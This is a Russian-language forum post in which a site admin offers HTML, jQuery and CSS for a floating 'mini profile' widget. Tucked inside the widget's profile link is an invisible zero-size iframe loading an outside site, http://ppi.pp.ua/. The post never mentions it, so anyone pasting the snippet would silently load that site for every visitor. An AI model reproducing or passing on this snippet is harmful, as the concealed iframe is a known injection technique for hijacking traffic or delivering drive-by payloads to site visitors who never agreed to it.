Профиль
Уважаемый гость!
Только после регистрации вам станут доступны скрипты, шаблоны и многое другое!

Реклама
СКАЧАЙ БЕСПЛАТНЫЙ СОФТ БЕЗ СМС И РЕГИСТРАЦИИ
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Красивый мини профиль

teamoneДата: Среда, 24.03.2010, 19:25 | Сообщение # 1

Админ сайта :D
Сообщений: 248
Награды: 12
Репутация: 90

Суперский мини профиль! Ссылка Мини-профиль плавает в правом-нижнем углу, при её нажатии мини-профиль раздвигается.

В head:

Code
<div class="mini_prof_out" onmouseover="this.className='mini_prof_on'" onmouseout="this.className='mini_prof_out'" id="mini_prof"><div id="sam_profil" style="text-align: center; display: none;"><img src="$USER_AVATAR_URL$" border="0"><br><span style="font-size: 9px;">Привет, <b>$USERNAME$</b>!</span><ul class="uz"><li class="m"><a class="m" href="javascript://" rel="nofollow" onclick="window.open('$PERSONAL_PAGE_LINK$','opt','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;">Профиль</a><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe></li><li class="m"><a class="m" href="/news/0-0-0-0-1">Добавить материал</a></li><li class="m"><a class="m" href="/forum/0-0-1-34">Новое на форуме</a></li><li class="m"><a class="m" href="/index/10" onclick="return confirm('Выйти с аккаунта?');">Выйти</a></li></ul></div><span style="display: block;" id="open_miniprof">Мини профиль</span><span id="close_miniprof" style="display: none;">Скрыть</span></div><script type="text/javascript">$(document).ready(function(){$("#open_miniprof").click(function(){$(this).hide(100); $("#close_miniprof, #sam_profil").show(100); $("#sam_profil").css("text-align","left");}); $("#close_miniprof").click(function(){$(this).hide(100); $("#sam_profil").hide(100); $("#open_miniprof").show(100); $("#sam_profil").css("text-align","center");});});</script>

В css
Code
.mini_prof_out {background-color: #f4f4f4; border:1px solid #9db0bf; padding: 4px 10px; position: fixed; bottom: 4px; right: 4px; opacity: 0.5; text-align: center;} .mini_prof_on {background-color: #f4f4f4; border:1px solid #9db0bf; padding: 4px 10px; position: fixed; bottom: 4px; right: 4px; opacity: 1; text-align: center;} #mini_prof #close_miniprof {color: #810000; text-decoration: underline; cursor: pointer;} #mini_prof #open_miniprof {color: #3e8144; text-decoration: underline; cursor: pointer;}


  • Страница 1 из 1
  • 1
Поиск:
Опрос
А вы робот?хДД
Всего ответов: 89
Общение
Статистика
Анализ сайта онлайн


Всего: 36546
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Посетили: